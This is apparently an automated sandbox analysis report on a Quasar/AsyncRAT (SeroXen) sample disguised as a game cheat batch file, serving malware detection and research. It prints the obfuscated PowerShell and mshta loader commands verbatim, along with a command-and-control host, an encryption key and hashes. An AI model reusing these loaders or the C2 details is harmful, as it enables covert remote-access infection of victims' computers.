Analysis

  • max time kernel
    46s
  • max time network
    89s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/12/2023, 21:40

General

  • Target

    ogfncheats.bat

  • Size

    12.5MB

  • MD5

    f5887c10643d58145e6322c8344b0169

  • SHA1

    52738891d47f153d1d833b87cd9ec33f8ab2065d

  • SHA256

    284fd3f018a4477fae7d37a1e79300f1ccfd4fd1f8b2247b25db36d1e9487e7a

  • SHA512

    b6ac2b6827484cd4a2959c0274fb9d57dee56699d8c2120528c477277ae5117b89450cfa16fa33bde71250404a588fa14adf872f120e364b3f14b28304ae1264

  • SSDEEP

    49152:DZeMEzX//hQjnzQOMfpqqm1AoOhr3CHiOVeE6g6O6phedXk/Baug+pR4BUkWWTyz:4

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.3 | SeroXen

C2

european-robert.gl.at.ply.gg:43917

Mutex

816d330a-0199-4676-8308-586f21e65988

Attributes
  • encryption_key

    03D4B9A32AA2E0B8E7FE7E0957A921C9A3869870

  • install_name

    .exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    2000

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:616
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{d5190841-1bcf-4209-9eb2-d312624dca12}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4568
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{e1608151-6ceb-463b-be87-8c349d94be77}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5096
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{452207bb-a069-4a5d-afca-df5b3e5e4af6}
        2⤵
          PID:4456
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3056
        • C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat.exe
          "ogfncheats.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function lcQtx($dpiPa){ $eZjNr=[System.Security.Cryptography.Aes]::Create(); $eZjNr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $eZjNr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $eZjNr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPyTHuT49MW9VbOSqL2SrBUAS+s20bzBlPRqjEsw6/U='); $eZjNr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LtWEUAsFehaKXVaG6sFGdA=='); $SyUCv=$eZjNr.CreateDecryptor(); $return_var=$SyUCv.TransformFinalBlock($dpiPa, 0, $dpiPa.Length); $SyUCv.Dispose(); $eZjNr.Dispose(); $return_var;}function yhmud($dpiPa){ $wffOi=New-Object System.IO.MemoryStream(,$dpiPa); $HuaTs=New-Object System.IO.MemoryStream; $ZGSXt=New-Object System.IO.Compression.GZipStream($wffOi, [IO.Compression.CompressionMode]::Decompress); $ZGSXt.CopyTo($HuaTs); $ZGSXt.Dispose(); $wffOi.Dispose(); $HuaTs.Dispose(); $HuaTs.ToArray();}function NcnIa($dpiPa,$NbKJR){ $newHT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$dpiPa); $uhITD=$newHT.EntryPoint; $uhITD.Invoke($null, $NbKJR);}$czWgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat').Split([Environment]::NewLine);foreach ($CaofW in $czWgT) { if ($CaofW.StartsWith('SEROXEN')) { $lWmen=$CaofW.Substring(7); break; }}$pxmlf=[string[]]$lWmen.Split('\');$rmlSF=yhmud (lcQtx ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pxmlf[0])));$XVjgW=yhmud (lcQtx ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pxmlf[1])));NcnIa $XVjgW (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));NcnIa $rmlSF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4608
          • C:\Windows\SysWOW64\dllhost.exe
            C:\Windows\SysWOW64\dllhost.exe /Processid:{69282deb-7d7b-4c10-8814-81664ad908a0}
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3008
      • C:\Windows\$sxr-mshta.exe
        C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-gXrlVpTKIWUNXlzHfXGR4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:2064
        • C:\Windows\$sxr-cmd.exe
          "C:\Windows\$sxr-cmd.exe" /c %$sxr-gXrlVpTKIWUNXlzHfXGR4312:&#<?=%
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5044
          • C:\Windows\$sxr-powershell.exe
            C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function aDphM($yykpy){ $AVEyf=[System.Security.Cryptography.Aes]::Create(); $AVEyf.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AVEyf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AVEyf.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w='); $AVEyf.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ=='); $wPVpy=$AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')(); $ztldu=$wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yykpy, 0, $yykpy.Length); $wPVpy.Dispose(); $AVEyf.Dispose(); $ztldu;}function kjVhA($yykpy){ $xiSBi=New-Object System.IO.MemoryStream(,$yykpy); $DEAQR=New-Object System.IO.MemoryStream; $Uxbkk=New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::Decompress); $Uxbkk.CopyTo($DEAQR); $Uxbkk.Dispose(); $xiSBi.Dispose(); $DEAQR.Dispose(); $DEAQR.ToArray();}function LsklH($yykpy,$gPbdt){ $RCfYC=[System.Reflection.Assembly]::Load([byte[]]$yykpy); $lSBDH=$RCfYC.EntryPoint; $lSBDH.Invoke($null, $gPbdt);}$AVEyf1 = New-Object System.Security.Cryptography.AesManaged;$AVEyf1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$EaHLT = $AVEyf1.('rotpyrceDetaerC'[-1..-15] -join '')();$ePPUG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GrRlCeHTPt/FmlOe0MU62g==');$ePPUG = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG, 0, $ePPUG.Length);$ePPUG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG);$JMrHl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mCwnk0r2AnS4pIdFPSJpDzdz3BwVoeo8N/C/MOHZ2vE=');$JMrHl = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JMrHl, 0, $JMrHl.Length);$JMrHl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JMrHl);$eYSbf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oDcSm4cHPDJbG30RtAtiGA==');$eYSbf = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eYSbf, 0, $eYSbf.Length);$eYSbf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eYSbf);$irdwF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('afwgPl6Gt223TLYq3yRdnLPo5QISJKKqTl4nY61nLQj3mqwgc6NlcX/y9k+duPkMpdi6ZdoQF1uj2EvzhOn7SKubdNy9CLU0GVwYBLReBf+GPauz/IjR4jusIHEP/sLkgPzwX4m8wmu+j/5Wvl/SbaaVLkuX1/hFYbuVfk+6GybAcJG5lt/zGo6Zsqz/pFb4gfdJSoZFZRCa1AaODW82fXqLkL8zPtK1ErYizS8ldDyGigXdExMhbwtwxWA8tUJifuTc1YpOZmpHtkgL3C8b3Nvj/TEB5HjN7xjYGF5wXgVF7vbnb3PmDMDKpiaMBPnhZUtH/UdKqMZmittePHCcKC7cJ0pyBYFZGvGYSqTLHJUKtzJZ7iVZyqewZ80ZiEkNwIS7X8q+p7gJ6gw9N+bdtfgJduVf5S7NURLk723eqXM=');$irdwF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($irdwF, 0, $irdwF.Length);$irdwF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($irdwF);$CsaJF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qmj++wxpjOntBPCCP5sX6Q==');$CsaJF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CsaJF, 0, $CsaJF.Length);$CsaJF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CsaJF);$viRNi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vTu7xmhWm+4zC8WhvpoHcQ==');$viRNi = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($viRNi, 0, $viRNi.Length);$viRNi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($viRNi);$fmcMD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YZiMDfcqUmH1y6WYNRVP1Q==');$fmcMD = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($fmcMD, 0, $fmcMD.Length);$fmcMD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($fmcMD);$JErwL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PNCXAlFsbHlYtM/zfeKN8g==');$JErwL = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JErwL, 0, $JErwL.Length);$JErwL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JErwL);$MgDet = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HnotSsFg+0HDVsTOncJHvQ==');$MgDet = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MgDet, 0, $MgDet.Length);$MgDet = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MgDet);$ePPUG0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cKNfsn0XtIvbqZ3CpR3Btw==');$ePPUG0 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG0, 0, $ePPUG0.Length);$ePPUG0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG0);$ePPUG1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('B6w/lTc6p59jqUqB4wjVkQ==');$ePPUG1 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG1, 0, $ePPUG1.Length);$ePPUG1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG1);$ePPUG2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eYUOUZAoEZ01LnuzZR3N1g==');$ePPUG2 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG2, 0, $ePPUG2.Length);$ePPUG2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG2);$ePPUG3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bucf54fGGhzGfijU+rpi1A==');$ePPUG3 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG3, 0, $ePPUG3.Length);$ePPUG3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG3);$EaHLT.Dispose();$AVEyf1.Dispose();if (@(get-process -ea silentlycontinue $ePPUG3).count -gt 1) {exit};$SHyhW = [Microsoft.Win32.Registry]::$JErwL.$fmcMD($ePPUG).$viRNi($JMrHl);$widJE=[string[]]$SHyhW.Split('\');$CDgRe=kjVhA(aDphM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[1])));LsklH $CDgRe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$rGfhy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[0]);$AVEyf = New-Object System.Security.Cryptography.AesManaged;$AVEyf.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$wPVpy = $AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')();$rGfhy = $wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rGfhy, 0, $rGfhy.Length);$wPVpy.Dispose();$AVEyf.Dispose();$xiSBi = New-Object System.IO.MemoryStream(, $rGfhy);$DEAQR = New-Object System.IO.MemoryStream;$Uxbkk = New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::$ePPUG1);$Uxbkk.$MgDet($DEAQR);$Uxbkk.Dispose();$xiSBi.Dispose();$DEAQR.Dispose();$rGfhy = $DEAQR.ToArray();$ZUXJz = $irdwF | IEX;$RCfYC = $ZUXJz::$ePPUG2($rGfhy);$lSBDH = $RCfYC.EntryPoint;$lSBDH.$ePPUG0($null, (, [string[]] ($eYSbf)))
            3⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4432
            • C:\Windows\SysWOW64\dllhost.exe
              C:\Windows\SysWOW64\dllhost.exe /Processid:{0a3bf0ce-14ef-4d2c-9cf6-ed667c1325c5}
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3680
            • C:\Windows\$sxr-powershell.exe
              "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4432).WaitForExit();[System.Threading.Thread]::Sleep(5000); function aDphM($yykpy){ $AVEyf=[System.Security.Cryptography.Aes]::Create(); $AVEyf.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AVEyf.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AVEyf.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w='); $AVEyf.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ=='); $wPVpy=$AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')(); $ztldu=$wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yykpy, 0, $yykpy.Length); $wPVpy.Dispose(); $AVEyf.Dispose(); $ztldu;}function kjVhA($yykpy){ $xiSBi=New-Object System.IO.MemoryStream(,$yykpy); $DEAQR=New-Object System.IO.MemoryStream; $Uxbkk=New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::Decompress); $Uxbkk.CopyTo($DEAQR); $Uxbkk.Dispose(); $xiSBi.Dispose(); $DEAQR.Dispose(); $DEAQR.ToArray();}function LsklH($yykpy,$gPbdt){ $RCfYC=[System.Reflection.Assembly]::Load([byte[]]$yykpy); $lSBDH=$RCfYC.EntryPoint; $lSBDH.Invoke($null, $gPbdt);}$AVEyf1 = New-Object System.Security.Cryptography.AesManaged;$AVEyf1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$EaHLT = $AVEyf1.('rotpyrceDetaerC'[-1..-15] -join '')();$ePPUG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GrRlCeHTPt/FmlOe0MU62g==');$ePPUG = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG, 0, $ePPUG.Length);$ePPUG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG);$JMrHl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mCwnk0r2AnS4pIdFPSJpDzdz3BwVoeo8N/C/MOHZ2vE=');$JMrHl = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JMrHl, 0, $JMrHl.Length);$JMrHl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JMrHl);$eYSbf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oDcSm4cHPDJbG30RtAtiGA==');$eYSbf = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($eYSbf, 0, $eYSbf.Length);$eYSbf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($eYSbf);$irdwF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('afwgPl6Gt223TLYq3yRdnLPo5QISJKKqTl4nY61nLQj3mqwgc6NlcX/y9k+duPkMpdi6ZdoQF1uj2EvzhOn7SKubdNy9CLU0GVwYBLReBf+GPauz/IjR4jusIHEP/sLkgPzwX4m8wmu+j/5Wvl/SbaaVLkuX1/hFYbuVfk+6GybAcJG5lt/zGo6Zsqz/pFb4gfdJSoZFZRCa1AaODW82fXqLkL8zPtK1ErYizS8ldDyGigXdExMhbwtwxWA8tUJifuTc1YpOZmpHtkgL3C8b3Nvj/TEB5HjN7xjYGF5wXgVF7vbnb3PmDMDKpiaMBPnhZUtH/UdKqMZmittePHCcKC7cJ0pyBYFZGvGYSqTLHJUKtzJZ7iVZyqewZ80ZiEkNwIS7X8q+p7gJ6gw9N+bdtfgJduVf5S7NURLk723eqXM=');$irdwF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($irdwF, 0, $irdwF.Length);$irdwF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($irdwF);$CsaJF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qmj++wxpjOntBPCCP5sX6Q==');$CsaJF = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CsaJF, 0, $CsaJF.Length);$CsaJF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CsaJF);$viRNi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vTu7xmhWm+4zC8WhvpoHcQ==');$viRNi = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($viRNi, 0, $viRNi.Length);$viRNi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($viRNi);$fmcMD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YZiMDfcqUmH1y6WYNRVP1Q==');$fmcMD = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($fmcMD, 0, $fmcMD.Length);$fmcMD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($fmcMD);$JErwL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PNCXAlFsbHlYtM/zfeKN8g==');$JErwL = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($JErwL, 0, $JErwL.Length);$JErwL = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($JErwL);$MgDet = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HnotSsFg+0HDVsTOncJHvQ==');$MgDet = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MgDet, 0, $MgDet.Length);$MgDet = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MgDet);$ePPUG0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cKNfsn0XtIvbqZ3CpR3Btw==');$ePPUG0 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG0, 0, $ePPUG0.Length);$ePPUG0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG0);$ePPUG1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('B6w/lTc6p59jqUqB4wjVkQ==');$ePPUG1 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG1, 0, $ePPUG1.Length);$ePPUG1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG1);$ePPUG2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eYUOUZAoEZ01LnuzZR3N1g==');$ePPUG2 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG2, 0, $ePPUG2.Length);$ePPUG2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG2);$ePPUG3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bucf54fGGhzGfijU+rpi1A==');$ePPUG3 = $EaHLT.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ePPUG3, 0, $ePPUG3.Length);$ePPUG3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ePPUG3);$EaHLT.Dispose();$AVEyf1.Dispose();if (@(get-process -ea silentlycontinue $ePPUG3).count -gt 1) {exit};$SHyhW = [Microsoft.Win32.Registry]::$JErwL.$fmcMD($ePPUG).$viRNi($JMrHl);$widJE=[string[]]$SHyhW.Split('\');$CDgRe=kjVhA(aDphM([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[1])));LsklH $CDgRe (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$rGfhy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($widJE[0]);$AVEyf = New-Object System.Security.Cryptography.AesManaged;$AVEyf.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AVEyf.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AVEyf.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b007rYEV/W3WOBaIaYp4PVbns1T2e9vKRGRoYjhbc4w=');$AVEyf.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P/st2pESncGAcUEjrvWNvQ==');$wPVpy = $AVEyf.('rotpyrceDetaerC'[-1..-15] -join '')();$rGfhy = $wPVpy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rGfhy, 0, $rGfhy.Length);$wPVpy.Dispose();$AVEyf.Dispose();$xiSBi = New-Object System.IO.MemoryStream(, $rGfhy);$DEAQR = New-Object System.IO.MemoryStream;$Uxbkk = New-Object System.IO.Compression.GZipStream($xiSBi, [IO.Compression.CompressionMode]::$ePPUG1);$Uxbkk.$MgDet($DEAQR);$Uxbkk.Dispose();$xiSBi.Dispose();$DEAQR.Dispose();$rGfhy = $DEAQR.ToArray();$ZUXJz = $irdwF | IEX;$RCfYC = $ZUXJz::$ePPUG2($rGfhy);$lSBDH = $RCfYC.EntryPoint;$lSBDH.$ePPUG0($null, (, [string[]] ($eYSbf)))
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1668
            • C:\Windows\SysWOW64\dllhost.exe
              C:\Windows\SysWOW64\dllhost.exe /Processid:{22743793-a72e-4761-9d60-190e97c2b6e3}
              4⤵
                PID:2772

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1ltvlwk.2nc.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat.exe

          Filesize

          66KB

          MD5

          f3e519696a4b0b1f6cead747af912eb6

          SHA1

          ea7b2a01712eda7460f6e6a30a7425c133a39976

          SHA256

          1481eb501796710974a3ae2a5fac255bf55cc96ae77155b3c60429e4fff930b7

          SHA512

          f8d988c3957bce73870a45a18ff37382c3ae3819934de346a00cf262f20330ccb5b43394f558ef4af45727ca434803373e5043594f747890ab19fad68d848a69

        • C:\Users\Admin\AppData\Local\Temp\ogfncheats.bat.exe

          Filesize

          442KB

          MD5

          04029e121a0cfa5991749937dd22a1d9

          SHA1

          f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

          SHA256

          9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

          SHA512

          6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

